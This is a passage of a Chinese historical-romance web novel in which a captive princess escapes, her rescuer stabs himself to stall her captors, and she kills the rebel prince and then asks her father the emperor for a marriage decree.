对方轻笑一声，随即与尚容对视：“无妨……反正你没多久就要死了，我就发发慈悲让殿下死个明白。”
殿下……尚容心头一颤，对方显然知晓她的身份，说不定还是个熟人。
尚容见蒙面男人解开绳结，随即用手扶住面具，轻轻一垂，面具落入男人手心，一副熟悉而又陌生的面孔映入尚容眼帘。
男人生着一张薄唇，皮肤呈现出一种近似病态的白，眼神格外阴鸷。
“魏辰泽，是你……”尚容死死地盯着面前的男人，附在衣裙上的右手微微攥紧。
“殿下很意外吗？”魏辰泽邪笑着勾了勾唇，与众人眼中的谦逊有礼的如玉公子模样判若两人。
魏辰泽无声靠近，微微仰着头似是居高临下，声音低沉：“殿下帮魏修洵对付我父亲和母亲的时候，不该料到会有今日吗？”
尚容怒极反笑，眼神丝毫不惧：“魏二你别忘了，你我之间的恩怨可不仅仅是因为魏修洵，盛兰围场的事恐怕也有你的手笔吧。”
魏辰泽眸色一沉。
“再者人在做天在看，老晋安侯与夫人为何落得如此下场，想必你应该比本宫更清楚，若说他们无辜，那被他们害死的玉姨娘和段母难道就不无辜吗？”
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魏辰泽微怔，随即冷冷嗤笑：“殿下果真巧舌如簧，令人佩服，不过如今局势殿下还是担心担心自己吧。这儿可不是皇宫，没有公主，只有……阶下之囚。”
尚容眉头紧蹙，面露痛苦之色，故意道：“你们对本宫做了什么？”
魏辰泽闻声大笑，眼神逐渐阴沉：“放心，殿下只是被下了一种蛊，一种……令人生不如死，却又暂时死不了的蛊。”
“你们究竟想做什么？”尚容假装被激怒，清丽的眸子染上了几分愠色。
魏辰泽俯下身来，蛮不讲理地握住尚容的手腕，白色血管遍布的一截手腕上顿时浮现出几道红色印记。
“别急啊殿下……”魏辰泽声音低沉，似笑非笑，“我那个三弟不是很看重你吗？你们很快就可以团聚了。”
尚容强迫自己定了定神，神色冷漠地偏过头去，唇边浮现出凉薄的笑意：“那你可真是想错了，本宫对他素来只是一厢情愿，他那样一心只有权力的人，又怎会为了一个与自己无关的人以身犯险？”
“我那个三弟怎么想又怎么会有人知道呢？”魏辰泽松开手，轻蔑一笑，“他这个人素来高傲，别人不敢做的事，他可未必不敢。”
就在此时，门外侍卫叩了叩门。
魏辰泽声音低沉：“何事？”
“执事，祭风散人有事找您。”
祭风散人……传闻中一向神龙见首不见尾的南义教首领，少有人知其真面目。尚容很快反应过来，看来魏辰泽也算是成功取得了此人的信任。
“我知晓了。”魏辰泽随即起身欲离开，似是想到什么，恶狠狠地俯视尚容，“等这蛊发作的时候，殿下就安分了。”
尚容微微仰头，朱唇微启，身体似是因为手臂的剧烈疼痛微微颤抖，额间的碎发被汗珠浸湿贴在白皙的肌肤上。
吱呀一声，门被带上，柴房里顿时又只剩下尚容一人。她握住方才被魏辰泽抓得微微红肿的手腕，身体不复方才颤抖。
幸好她早有准备，在望生阁提前服下了苗月研制出的金蚕蛊的特制解药，她如今手臂上虽有蛊毒发作的特征，实际上残余的毒素甚微，对她构不成威胁，反倒给了她迷惑对方的机会。
她不能留在这儿，必须找个法子逃出去。
尚容环顾四周，见此处柴房并没有窗，只有一扇门，如今门从外面被锁上，她绝无出去的可能，看来只能静待时机了。
然则尚容深知自己不能坐以待毙，她摘下一只点翠耳环轻轻一拧，镂空的耳环中便隐约可见浅红色的粉末。
这是苗月临行前赠予她用来护身的至毒毒粉，只需一点便可至死，她将其藏于特殊构造的耳环中这才躲过了搜身。
尚容低头望着耳环中的浅红色粉末，眉眼坚毅。
她明白，这是她的最后一次机会了，她必须牢牢把握住，不能有半分闪失。
她重活一世，可不是为了不明不白地死在这个不见天日的鬼地方的。
52. 入绝境
是日夜里，尚容正昏昏欲睡，却听得门外传来一阵细碎的脚步声，尚容在自己的手腕使劲掐了一下，整个人顿时清醒。
透过紧锁的房门，尚容隐约看见门外泛起一阵暖色的光亮，似是守卫手里用来照明的油灯。她仔细一看，见其中一人手里似端着一个盆子，想必是来给她送饭的。
尚容微微蹙眉，刻意压低重心小步走到门后，并未发出一丝声响。
“吃饭了！”
守卫不耐烦地解开门锁，吱呀一声门从外面被推开，借着手中油灯的光晕守卫隐隐望见柴房内空无一人。
尚容没等他反应过来，右手轻辉，对方吸入毒粉，顿时倒下。外面的守卫听到了里面的动静，随即迈入柴房也中了尚容的计，很快倒下。
尚容早已褪去显眼的金丝雪色锦绣外袍，利落地扒下守卫身上的暗色夜行衣披在自己身上系好，纵然守卫身形高大，夜行衣在尚容身上不甚合身，但她一时也顾不上太多。
尚容取走守卫身上的门锁钥匙，随即将房门从外面锁上，让人从外不能轻易看出异样。
就在此时，不远处有一小队巡逻经过，尚容很快反应过来，手提油灯在原地站得笔直，将头浅浅埋了下去。
好在有惊无险，巡逻的小队见柴房外有人看守，便没有再往此处多看，尚容见状长舒了一口气。
尚容环顾四周，见此处是一处空地，四周几间房屋分散错落，乍一看并无太多不同。尚容此时不知韶淳被关押在何处，便绕到柴房背后探寻了一番，并未发现踪迹。
不过此行也并非毫无发现，尚容意外发现柴房后是一处断崖，她捡起断崖边上的几个石块，向下投掷后侧身趴在地面上便听到几处水声，看来这底下有水，跳下去或许还有一条生路。
就在此时，尚容听到不远处传来细碎的脚步声，尚容起身靠在柴房与断墙的缝隙里躲过一劫，而后顺势绕到柴房对面的一处院落。
院落里有两处房屋，一处朝南，一处朝北。尚容仔细观察发现朝北的房屋无人看守，反倒是朝南的房屋外有两人看守，但守卫的目光却死死盯着前方，这显然有些可疑。
莫非……尚容心中生出一个大胆的猜想。硬闯自然是不行的，不过朝北的房屋后有一破旧的小窗，倒是刻意一试。
未免引起注意，尚容绕到窗后将油灯放到地上，随即用耳环坚硬的部分轻轻捅破窗纸，多次重复之下，窗纸上便被捅开了一个一文钱那般大小的口子。
透过窗纸，尚容隐约看见一个蜷缩在地上的身影。尚容小心撬开窗户而入，却看见地上人影动了一下，随即腰间闪过几分光影，尚容心道不妙，直接用残余的毒粉捂住他的口鼻，那人顿时没了呼吸。
尚容俯下身子定睛一看竟是个身着女装的男人，看来对方早有准备，比她想象的狡猾许多。
看来他们早将韶淳藏在了一个隐秘的地方等她前来，既如此她不能耽搁下去了，必须尽快脱身。
尚容从方才撬开的窗户跳出，而后提着油灯原路返回柴房后断崖，就当她靠近断崖之时，背后却传来熟悉的低沉男声。
“你可真是令我刮目相看啊殿下……你根本就没有中蛊，一不小心又差点让你钻了空子。”
尚容心头一沉，闻声转身见魏辰泽恶狠狠地盯着自己，他随即拍了拍手，一旁便走出一个身着夜行衣的侍卫，那侍卫手持刀刃挟持着一个被捆住双手，满手是血的女子，那女子正是韶淳。
“韶淳……”尚容眉心微蹙。
韶淳身体微微抽搐，吃力地掀开眼帘望着不远处的尚容，眼眶微红：“殿下快走……”
魏辰泽走到侍卫身旁用刀刃挟持韶淳的脖颈，一步步向尚容走去，唇边泛着几分讥笑：“殿下可想清楚了，她可是因为你受到牵连沦落到如此地步的，殿下若敢再往后退一步，我就当着殿下的面……杀了她！”
“殿下快……”韶淳用尽全力挣扎，声音哽咽。
声声入耳，尚容见魏辰泽手握刀刃的手又倾斜了一分，韶淳白皙的脖颈上顿时化开一道浅浅的口子，鲜血很快染红了一小片衣领。
尚容阖上眼眸，似是下了决定，冷冷道：“别费力气了，本宫和你们回去便是。”
“殿下……”
“还真是一出主仆情深的好戏……果真精彩！”魏辰泽拍了拍手，随即推开韶淳大笑，而后他的声音很快冷了下来，“一群没用的东西……还不把人带走！”
“是！”
这一次，尚容并没有被带回柴房。一路上，她又见到了一个熟人，她的皇叔昭王尚林。
只不过这一次，面前男人不复平日文人气度，眼底情绪晦暗不明，他好像一个隐入黑夜的人，极度危险，不见光亮。
尚容冷笑着勾了勾唇：“久违了，祭风散人。”
尚林的步子随之一顿，微微低头与尚容对视，唇边泛起一阵似有若无的笑意，声音更是低到了骨子里，压迫意味尽显。
“没想到尚徽这个庸君还能生出你这样出类拔萃的女儿，还真是令本王刮目相看。”尚林冷冷一笑，“只可惜……你不能为本王所用，待事成之后你便只能成为孤魂野鬼。”
既然以身入局，尚容便早已做好了最坏的打算，是以声声入耳，她眼底并无惧意，声音清冷：“你和皇后早已勾结。”
“勾结？”尚林陡然大笑，“她这样优柔寡断的女人也配成为本王的盟友？不过是一颗无足轻重的棋子罢了！”
“她为何答应你？为了权力？”
事到如今，二人显然已经撕破脸皮，尚容便毫无顾忌继续追问。
“是……也不是。”尚林走到尚容身前，嘴角浮现出一丝讥诮的笑意，双眸似深潭不起波澜，令人看不清浅深。
“还有……妒忌和不甘。妒忌你的母后纵然身死依旧在尚徽心中有着一席之地，不甘身居皇后之位却受尽冷落，无权傍身。”
尚容不由得
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冷笑一声。说来也可笑，母后生前那般凄苦，死后自己年幼又受尽冷眼，如今却告诉她她的父皇心中尚有母后一席之地，总是记挂着她？真是天大的笑话！
“你这个父皇啊总是这样，一边装得重情重义，一边又冷酷无情，好像所有人都对不住他一样。”尚林的眼神逐渐狠厉，眼眸深处深邃如墨再也化不开。
尚容呼吸微沉，随即对上尚林的眼眸：“他固然无情无义，可你害死了那么多无辜的人，又有何脸面来和我谈情义？”
尚林眸色一沉，待反应过来见尚容转身离去，隐入一片黑暗之中。
这一日夜里，尚容被人押入了地牢深处，相比柴房这里暗无天日，守卫森严，牢房外有专人把守，还不时有两对暗哨经过。
尚林似是被尚容方才一番话激怒了，夜里再没允许任何人靠近她所在的这间牢房，她的手脚都被重重的铁链束缚着，动弹不得，柔嫩的肌肤生生磨出道道血泡。
尚容不曾闷哼一声，只是靠在墙边，阖上了眼。
她不知默云是否已经将尚林与皇后勾结作乱的事告知了尚徽和魏修洵，但有一件事她是笃定的，根据今日魏辰泽和尚林的反应，默云定然没有落入他们手中，这算得上是个好消息。
她如今在意的只有援兵何时能到，还有……听今日魏辰泽的言下之意他是否真的会明知圈套以身入局……
想到此处，尚容右手微微攥紧。
这一夜，尚容又做了那个很长的梦，梦里她又回到了和亲西察的日子，正当梦中她就要将那支凤凰六珠嵌丝金步摇直直刺入自己脖颈之时，她被一阵声音吵醒。
“醒醒吧殿下！”
尚容觉身体酸痛，吃力地掀开眼帘，直直对上魏辰泽的眼眸。
尚容见他唇角轻勾，便觉有些不对。
“你的老朋友来了。我昨日说什么来着？”魏辰泽冷冷一笑，“他一个人来的，说要见你。”
尚容心头一沉，刻意按捺住心绪，神色如常：“你们要做什么？”
“他如今可是皇帝的左膀右臂，你猜王爷想做什么？带走！”
尚容随即在两个侍卫的看护下被带出地牢，期间经过柴房外的那处空地，随后到了空地西侧的一处庭院，庭院早已被层层包围。
这一日天色尚好，尚林一身白衣坐在一侧的亭中，身旁还坐着一个身着深蓝色窄袖长袍的青年男子，尚容见那男子背影格外熟悉。
他似是听到了身后的动静，转过身来，直直对上尚容的目光，眸色微敛，勾唇一笑。
尚容心头一沉，仔细环顾四周，依旧不见长青身影，他竟真的孤身一人来此。
不过经过这段时日的相处，尚容也知魏修洵颇有谋略，既然敢来想必已然想好了万全之策。她安慰自己，长舒了一口气。
“人已经给晋安侯带来了，晋安侯看如何？”尚林将白玉茶杯送到唇边，浅抿了一口。
“殿下无事便好。”
53. 死而生
魏修洵微微抬眸，唇角轻勾：“我此次前来不仅仅是为了殿下，也是身负皇命，特来相告昭王。”
“哦？”尚林挑了挑眉，讥诮道，“我那位皇兄事到如今，还有何话要告知本王？”
“陛下让我代为转告，毕竟是手足一场，若王爷就此悔过不再酿成大错，陛下会考虑从轻发落。”
话音未落，尚林俯身大笑，握住白玉酒杯的右手微微颤抖。
反观魏修洵嘴角微噙，丝毫不乱。他微斜着身，把玩着手中的白玉杯，眼眸半明半昧。良久，他薄唇微启，声音低沉：“但我并非是来相劝王爷，而是想要与王爷里应外合。”
尚容微微蹙眉，心中顿生几番思量。
声声入耳，尚林似是有些意外，来了几分兴致：“你要反他，与本王联盟？”
“正是。”魏修洵声音清冷。
尚容微微抬眸，恰巧与魏修洵四目相对，他唇边不见笑意，眼眸如黑曜石般令人看不分明。
若说魏修洵投敌，尚容绝不会信，毕竟若真如此，他根本不必以身犯险，如今情势危机，他但凡行差踏错一步便是万劫不复。
但尚容隐隐觉得他好像暗示她什么。尚容低眉沉思，顿时醒悟：他是在……拖延时间。
“可你如今是尚徽的左膀右臂，尚徽待你不薄，你为何要反？”尚林冷冷地勾了勾唇，眸光泛寒。
“尚徽本非明君，况且一点小恩小惠还当不了真，我想要的……可不仅仅是一个侯位。”魏修洵微微俯身，声音低沉。
“有意思，有野心……这点倒是正合本王心意。”尚林轻抚下颚，眼底闪过一丝精光，“让本王猜猜……你想要什么。”
“不得不说，你确实是个人才，早年本王就听说你在边关历练，是一等一的杀将，只居侯位确实有些可惜。”
尚林玩味地笑了笑：“不如……做本王的开国将军如何？本王可没尚徽那么小气，一个异姓王本王给得起！”
“魏修洵……你无耻！”
尚林闻声微微侧身，见少女着一身染了灰尘的夜行衣，光滑而又微微涨红的脸蛋上沾了污渍，却更显娇俏可人。
“听见了吗殿下？不是本王要反……是天意如此，本王不得违背啊！”
尚容恶狠狠地盯着心中正得意的尚林，清亮的眸子染了几分愠色。
“不过我还有一个条件。”
“讲。”尚林似是极有耐心，浅抿了一口新沏好的茶汤。
尚容见魏修洵微微侧目，目光落在自己身上，薄唇轻抿，眼眸深处泛起一阵光亮：“我要……她。”
尚林挑了挑眉：“看来晋安侯也并非油盐不进啊……大事当前，还惦念着一个女人。”
“事成之后，她便没有了利用价值，这个条件对王爷来说不算为难吧？”魏修洵微微勾唇。
“亏本宫那么信任你，没想到……你比那些那些阿谀奉承的小人还卑鄙！”
尚容似是早已按捺不住，此时想要上前几步，却被魏辰泽按下，动弹不得。
“可以。”尚林答应得很是爽快，下一面脸色逐渐阴沉，“这一出戏呢本王也配合得差不多了，接下来才应该是正戏。”
尚容心头一沉。
魏修洵眉心微挑，镇定自若：“王爷……此话何意？”
“晋安侯确实是年轻一代里最出类拔萃的，但本王思来想去并不想与你合作。”
“王爷想要什么？”
尚林手持杯盏，眼神阴狠地盯着对方的眼睛，好像剧毒的毒蛇在打量着身前的猎物。他冷笑一声，微微仰头：“很简单……本王只想要……你死。”
魏修洵挑了挑眉，眼眸深处笑意凉薄。
“不如我们来玩个游戏，让这个世上最恨你的人亲眼看看。”
尚林笑着拍了拍手，魏辰泽便走到了魏修洵身前。
“好久不见啊……三弟。”魏辰泽低头俯视魏修洵，眼底尽是得意。
魏修洵微微勾唇，鼻梁一侧的朱砂小痣随着笑意轻轻晃动：“二哥好久不见，怎么还是这般……无用？”
“你……”魏辰泽没想到事到如今魏修洵竟还敢藐视自己，他顿时被激怒，却听得背后传来一阵重重的咳嗽声，长吸了一口气按捺住心绪。
“事到如今，三弟便不要嘴硬了。”
尚容心头顿时仿佛压了一块巨石，几乎难以呼吸，目光落在魏修洵身上不曾移开。
她见魏修洵将白玉杯中茶汤一饮而尽，而后随意地拭去唇边茶渍，嘴角微微上扬：“王爷想看什么游戏？”
尚林冷笑着从腰间取出一把刀身镌刻着神秘符文，通身寒光凛冽的匕首放到桌面上，无声靠近。
“当着本王的面，将这把匕首刺入胸膛，本王就放过她！”
尚容见魏修洵微微侧过身来与自己对视，她眉头紧蹙，用尽气力摇头，薄唇微启：“不要……”
“怎么？晋安侯不敢了？”尚林奸笑着勾了勾唇，“看来晋安侯的心也是狠极了。”
尚林对魏辰泽使了个眼色，魏辰泽便伸手掐住尚容的脖颈，他手指微勾，粗糙的指尖划过皮肉泛起一阵刺痛，尚容一时难以呼吸，白皙光滑的肌肤间青筋凸起。
但尚容依旧直直对上魏修洵的目光，不曾闷哼一声。然而下一刻，她却见他唇角微噙，桃花眼含着光亮，一如在钟粹宫初见那般恣意张扬。
尚容心中顿生一种不好的预感。
“别动她。”魏修洵直视尚林，眸色渐沉，“如王爷所愿。”
尚容见魏修洵伸手去拿桌面上的那把镌刻着神秘符文的匕首，握在手中把玩。他微微低着头，不知在思量什么，陡然一笑，却笑意冷淡。
尚容眼眶微红，心中顿时有些乱了，声音沙哑：“别听他的魏修洵，别做傻事……”
魏修洵侧过身与尚容对视，字字句句落入尚容耳中似世间最锋利的刀刃寸寸划过她最柔软的肌肤。
“殿下，我既然敢来，就已经做好了最坏的打算。”
言罢尚容见魏修洵反握匕首，匕首尖端不断抵近胸膛，只需再用一点气力，匕首尖端便会划破外袍，刺入皮肤。
尚容
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本以为经历了前世生死，自己早已看淡了很多东西，但到了此刻，她却感觉胸口泛起一阵剧烈的疼痛，几乎就要让她窒息。
原来……眼睁睁看着在意的人死在自己面前，是这种感觉……
“不要……”尚容想要挣脱却挣脱不开，眼眸深处布满血丝。
“动手吧！”尚林勾了勾唇，指尖有节奏地轻触桌面，看上去心情极好。
魏修洵眼神决绝，似是已然下定了决心。他手腕稍稍用力，匕首尖端便划破深蓝色长袍，进而划破绛红色里衣，浅浅刺入胸膛的肌肤，顿时鲜血的血液如涓涓细流没入腰间。
尚容眼眸殷红，视线也随之有些模糊，她似疯了一般往前扑去，伸手想要抓住什么，却被按下。
魏修洵怅然一笑，桃花眼深处蕴了几分冷光，不见丝毫生气，仿佛早已坦然接受。他微微侧身，似在眺望，随后刀尖往里更深一寸。
这一寸划开皮肉似是极为痛苦，魏修洵素来吃痛，此时却眉头微皱。尚容见他胸膛皮肉有些外翻，顿时鲜血淋漓，下一刻便口吐鲜血。
尚容右手死死攥紧，泪水不自觉滑落，强大的气力使得指尖几乎嵌入手心，在肌肤上刻出道道不容忽视的红印。
然而就在此时，尚容的余光循着魏修洵方才眺望的地方，瞥见不远处屋顶的砖瓦上有人手持弓箭朝着自己的方向蓄势待发。
尚容顿时深吸了一口气，逼迫自己冷静下来，她与对方对视，而后用尽气力陡然蹲下，魏辰泽毫无防备顿时使了重心，羽箭便直直射入他的胸膛，他轰然倒地。
尚林很快反应过来，命令众人包形成包围，手持长剑便要去刺魏修洵，情急之下尚容来不及多想便将魏修洵扑倒，将尚林暴露在援军射击范围内。
嗖的一声，多箭齐发，尚林拼命躲闪，却还是身中数箭，他双手脱力，长剑便掉落在地上。尚容见他吃力地躺在地上口吐鲜血，想必是心脉寸断，只剩下最后一口气了。
魏修洵失血过多，脸色泛白，脚步有些虚浮，尚容见状扶住他的肩膀，让他借力靠在自己身上，又用被沉重铁链束缚住的双手费力地夺过地上的长剑。
“杀……给本王杀了他们……”尚林似是心有不甘，对二人恨到了极点，此刻依旧死死地盯着尚容和魏修洵，吃力道。
众人顿时朝尚容与魏修洵而来。
魏修洵捂着伤口强撑，见尚容将自己护在身后唇角轻勾，气息却有些微弱：“在想什么？”
尚容扶着魏修洵向后退去，走到躺在地上奄奄一息的尚林身前停下：“擒贼先擒王。”
魏修洵微怔，伸手去握尚容微微颤抖的右手：“你下得去手吗？”
尚容呼吸微促手持长剑，见尚林眼神惊恐，她浅眯着眼随后用尽气力刺穿尚林的胸膛，鲜红的血液顿时飞溅而出，魏修洵用衣袖替她遮挡，尚容的脸颊上却还是染上了些许血迹，模糊了视线。
魏修洵感觉到她的身体剧烈发颤，右手几乎失去控制，她显然也在强撑。
“尚林已死……援兵已至……你们还不束手就擒！”
54. 求赐婚
尚林手下众人见尚林与魏辰泽皆死，顿时群龙无首，手持长剑面面相觑。
尚容望见不远处禁军统领肃啸与京城都统夏嵩率领援军破门而入，眼看很快便能将尚林手下团团包围。
尚容长舒了一口气本以为事情已然了结，余光却瞥见尚林手下其中一人在衣袖里掏出什么东西。
尚容心头一沉，随即夺过地上的弓箭将弓拉至满月。
嗖的一声，羽箭穿过那人手掌，鲜血淋漓，那人痛苦地捂住右手，手中的信号弹滚落到一旁的角落里。
真是好险……看来尚林在城外有军队接应。
尚容额间顿时沁满了冷汗，回过神来却感觉身体不自觉往后倒去，她陡然转身见魏修洵倒在地上口吐鲜血，绛红色的里衣早已被鲜血浸透，呈现刺目的深红。
“你怎么样……”尚容心中顿时乱了，眼睛红透，双手微微发颤，却依旧伸手去抚他的肩膀，让他靠在自己怀里。
“还死不了……”魏修洵强撑着勾了勾唇，伸手拭去尚容脸颊上沾染的血迹，羽睫微动，声音沙哑，“你受苦了。”
尚容紧紧握住他的手，摇了摇头，与魏修洵对视，声音有些哽咽：“我以为你有把握的……”
“从前是，可这次我也不知援军何时能到……我在拖延时间，也是……在赌。”魏修洵嘴角微噙，声音虚弱，目光却落在她身上不曾移开，“我赌赢了……”
尚容后背一阵泛亮，忍不住后怕：“若是赌输了呢？”
“输了……便交代在这儿了。”
魏修洵抿唇一笑，神色云淡风轻，可他越是如此，尚容心中便越是难受。
她再也按捺不住内心的情绪，伸手抱住魏修洵，魏修洵微怔，随后也伸手抚上她的腰。
“不过方才要是没有殿下舍命相护……恐怕我还真是逃不过这一劫了。”魏修洵轻声道，然而下一刻他似是感到伤口泛起一阵剧痛，身体微微颤抖，连连咳嗽。
“魏修洵！”尚容扶住他，随后转身望见向自己跑来的长青，仿佛看到了一丝希望。
“主君！”长青神色焦急。
“长青，去找苗月姑娘救人，其他人我信不过。”尚容逼迫自己冷静下来，道。
经过这段时日的相处，长青早已对尚容十分信任，此时见魏修洵身受重伤也不再犹豫，只道：“属下这就去！”
就在此时，尚容听闻背后传来熟悉的女声。
“殿下！殿下你没事吧？”
尚容转身，见是夏今棠也来了，她握住夏今棠的手，眼神坚毅：“今棠，韶淳不知道被他们关在何处，替我找到她，还有……告诉夏都统和肃啸城外有尚林残部，务必歼灭！”
夏今棠平日里虽是个喜欢玩笑的，但提到正事却绝不含糊。她点了点头，斩钉截铁：“殿下放心！”
尚容转身感觉魏修洵眼皮有些重，伸手紧紧握住魏修洵的手，视线不由得有些模糊：“你再坚持一下，我让长青去找苗月了，她很快就到，你答应我别睡……”
“你说过今年春日要带我去京城外的望原山看野花遍野，天下景色……”
过往回忆此时一齐涌上心头，尚容感觉自己就像快要溺水的人。这一刻，她早已失去了理智，整个人处在接近崩溃的边缘，只想抓住他，紧一点，再紧一点。
魏修洵感觉身体轻飘飘的几乎脱力，却依旧坚持着不让自己沉睡过去，因为他知道这一次他若是睡了，可能就真的醒不过来了。
事到如今，风波渐平，他不甘心就这么死了。
他抬头望着泪眼朦胧的少女，吃力地笑着点了点头：“我答应你……别哭了……”
“只要你活着……我什么都答应你。”
魏修洵唇色发白，虚弱地笑了笑：“别后悔……”
“殿下！主君！苗月姑娘来了！”
就在此时，尚容听闻背后传来长青的声音，她转身见长青已然带着苗月站在自己身前。
苗月见魏修洵伤势，眉头紧锁：“殿下，侯爷伤得很重，若是此刻回九荣山怕是来不及了，我只能带他到一旁的屋子医治，请殿下暂时回避。”
“好。”尚容按捺住心绪，松开手，看着长青扶着魏修洵入了房间，而后退了出来。
“殿下！韶淳找到了！”
尚容闻声转身，见苗月扶着浑身是伤的韶淳走了过来，尚容连忙上前扶住韶淳的手臂，心中关切：“伤得怎么样？”
韶淳咬着牙摇了摇头，伸手扶住尚容肩膀，热泪盈眶：“不过是一点皮肉伤，殿下无事就好……若是有事，属下会内疚一辈子，也无法向主君交代！”
声声入耳，尚容一时出神。
韶淳见尚容脸色不太好，忍不住道：“殿下，出什么事了？”
“他为了救我受了重伤，现在苗月在为他医治。你身上也有伤，先好好养伤。”尚容强忍住心绪，右手却不自觉微微攥紧。
“主君受了重伤？”韶淳顿时心绪难平，一时自责万分，“都怪我……”
尚容心中五味杂陈：“你忠心耿耿，我怎么会怪你呢？他也不会怪你的。今棠，先带韶淳去治伤吧。”
夏今棠见状扶住韶淳，走了几步又回过头来望着尚容：“殿下，照顾好自己，别太伤心了。”
尚容强撑着点头一笑：“别担心，去吧。”
夏今棠点了点头，扶着韶淳转身离去。
待夏今棠与韶淳走远，尚容身边便只剩下长青一人，她终于不再强撑，脚步虚浮地后退了几步，靠在长廊的柱子上。
“殿下不如去休息片刻，这里有我守着。”长青见尚容脸色苍白如纸，忍不住道。
尚容吃力地摇了摇头，余光瞥见长青衣袖中的那把银质暗纹匕首，缓缓开口：“这匕首是在望生殿找到的？”
“正是。”长青从衣袖中取出匕首递到尚容手中，“主君意识到殿下不见后便派人将九荣山找了个天翻地覆，最后只在望生殿发现了几具尸体还有
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这把匕首，便知晓殿下出事了。”
“后来呢？”尚容低头望着手中的匕首，眼眸深处流露出忧伤之色。
“后来尚林派人传来消息，以殿下性命威胁主君孤身前来，当时援兵未至，众人都劝主君再等片刻不要以身犯险，但……”长青深吸了一口气，微微抬眸，“主君心意已决，便先行一步。”
果然不出尚容所料，尚林的盘算是先断了尚徽的左膀右臂，令其孤立无援，再率领大军趁乱谋反，一举夺得皇位后再镇压四方。
若是尚容不曾猜错，尚林亦会借此次祭日大典太子自焚一事大做文章，声称是尚徽为君不仁触怒日神，致使大靖民不聊生，如此一来他登上皇位便是替天行道，名正言顺，再无顾虑。
还真是打得一手好算盘。思及此处，尚容握住匕首的右手微微攥紧，眸色渐深。
此时一阵寒风凛冽，尚容微微蜷缩着身子，却依旧被刺骨的凉意包裹。
分明已然入春，可尚容抬眸侧目却见空中飘起了零星的雪粒，很快雪花纷纷扬扬，连绵不绝。借着寒风，有几片雪花落在尚容的衣袖上，尚容指尖轻轻触碰，便化为水珠。
尚容将衣领拢得更紧了些，微红的下巴埋入衣领，就这么安安静静地坐着，望着紧闭的房门，一坐便是很久。
尚容也不知道自己是怎么了，只觉得心中很乱，没有任何心思去做其他的事，太阳穴也突突直跳，疼得厉害。
一直到子夜，房门也不曾打开。分明只有几步的距离，尚容却觉得隔了好远，好远。
“容儿……”
正当尚容头脑有些昏沉之时，却听见背后传来熟悉的声音。她坐在地面上靠着圆柱微微侧身，顺着油灯的光亮见是尚徽与魏兰宣走了过来。
她吃力地起身，期间差点因为重心不稳滑倒，对着尚徽微微欠身，声音沙哑：“参见父皇。”
尚徽似乎有些激动，伸手握住尚容的手，却发觉她的手冰凉刺骨。不过几日不见，尚徽竟发觉面前少女的脸颊瘦削了不少，也苍白了不少，眼眸布满血丝红得厉害，竟似多日未曾合眼。
当尚徽的目光落在尚容身上破旧不堪的夜行衣上时，尚徽心中的内疚终于按捺不住，抬头望着尚容：“容儿……你受苦了。这次多亏了你，若是默云出事，后果不堪设想。”
尚徽微微侧身，吩咐下人：“还不带长公主殿下去换身衣服！”
“是！”
尚容见一旁素来神色淡然的宣妃此时眉头紧蹙，双手紧握，按捺已久的情绪再次涌上心头。她躲开下人搀扶她的手，后退了一步，神色决绝：“容儿有一心愿，求父皇应允。”
尚徽心想尚容刚刚绝处逢生心绪不稳也是常事，便也没有当回事，只道：“你这次立了大功，有什么心愿父皇定当尽力满足你。”
“容儿恳请父皇为容儿与魏修洵赐婚。”尚容眉眼清冷，字字句句掷地有声。
此言一出，就连一旁的宣妃也不曾料到，微微愣住。
55. 敞心怀
尚徽眉头微皱，静静地望着尚容不语，良久声音低沉：“你可知晋安侯如今身受重伤，生死未卜？”
“知晓。”尚容直视尚徽目光，眼神不曾躲闪。
“朕先不论你与他之间的情谊，但你是大靖的长公主，你让朕此刻为你和一个生死未卜之人赐婚，让天下人如何看？岂非荒谬！”尚徽的语气显然重了些，眼底压迫感渐显。
“容儿从前便不在意名声这些虚名，如今又怎会在意？”尚容浅笑着勾了勾唇，更深地鞠了一躬，“儿臣知晓此事让父皇为难，但儿臣心意已决，不求功赏，只有这一个心愿，还请父皇成全。”
宣妃方才见尚徽脸色有些不对怕其降怒尚容本欲阻拦，如今知她心意已决便将还未说出口的话咽入腹中，眼眶微红。
尚容之言表面是在表明自己心意已决，实际上也戳中了尚徽的痛处。
尚容早年名声不好，其中自然也有尚徽颇少关心的原因，尚徽听罢心中的怒气消了几分，随之而来的是不自觉的愧疚与自责。
身为帝王，理应庇护万民，可若连自己的女儿都庇护不了，又谈何庇护万民？尚徽越深思越觉得自己这些年亏欠尚容太多，父女之间的关系竟生疏到如此地步。
“宣妃，朕和容儿说说话，你先下去吧。”
“是，臣妾告退。”宣妃行了一礼，转身离去。
“容儿，我们父女之间有多久没有像这样谈心了？”
尚徽微微侧目，见尚容浅浅笑着，神色却有几分疏离冷淡，一时恍惚，觉得面前少女既熟悉又陌生。
“容儿不知。”尚容望着漫天飞雪长舒了一口气，薄唇微启，神色不显。
这句话倒是难得发自真心的，只因在尚容记事以来，在母后崩世之后，尚徽对自己的态度便愈加冷淡，前世她性情大变后尚徽便更加厌恶她，更不用说和她好好谈心了。
声声入耳，尚徽心中泛起一阵挥之不去的酸涩。他望着面前的少女，艰难开口：“容儿……你恨父皇吗？”
尚容对上尚徽的眼眸，勾了勾唇：“父皇想听真话，还是假话？”
尚徽微微愣住，良久道：“无论你今日说什么，朕……都赦你无罪。”
“恨。”尚容眉心微挑，毫不犹豫，压抑已久的情绪终于宣泄而出，“可是这重要吗？我不该恨你吗？”
尚徽惊讶于尚容的毫不犹豫，他愣在原地，微微出神。直至此刻，他才发觉他对自己的这个女儿竟丝毫不了解，甚至可能不如一个外人。
“母后崩世之后，我受尽冷眼孤立，不必说尚音和尚华，就连最低等的下人都敢克扣饮食，踩在我头上随意发难。”尚容眼眶微红，却强忍着不让眼泪落下，“在我最需要父皇的时候，父皇在做什么呢？”
尚徽本欲开口，却被尚容打断。
“不如我替父皇说吧，父皇什么都没有做，没有来看过我一次，我本以为父皇是因为政务繁忙抽不开身，没想到最后等来的是册后的消息。”
“容儿……”尚容冷冷的目光如刀刃般直直刺入尚徽心中，尚徽心头泛起一阵酸痛，想要开口，却不知从何说起。
尚容似乎并不在意尚徽的反应，怅然一笑。
“后来的事想必父皇已然知晓，我识人不清，受淑妃蒙蔽，不学无术，妄自菲薄，想必父皇那时讨厌极了我，有时就算在宫宴上遇见都不愿正眼瞧我，可见我这个女儿在父皇心中是多么不堪啊……”
“所以，是容儿不想与父皇谈心吗？不……是不敢。”
尚徽心头一沉，终于控制不住心绪伸手去抚尚容的肩膀，龙目微红，声音沙哑：“容儿……是父皇对不起你……是父皇错了。”
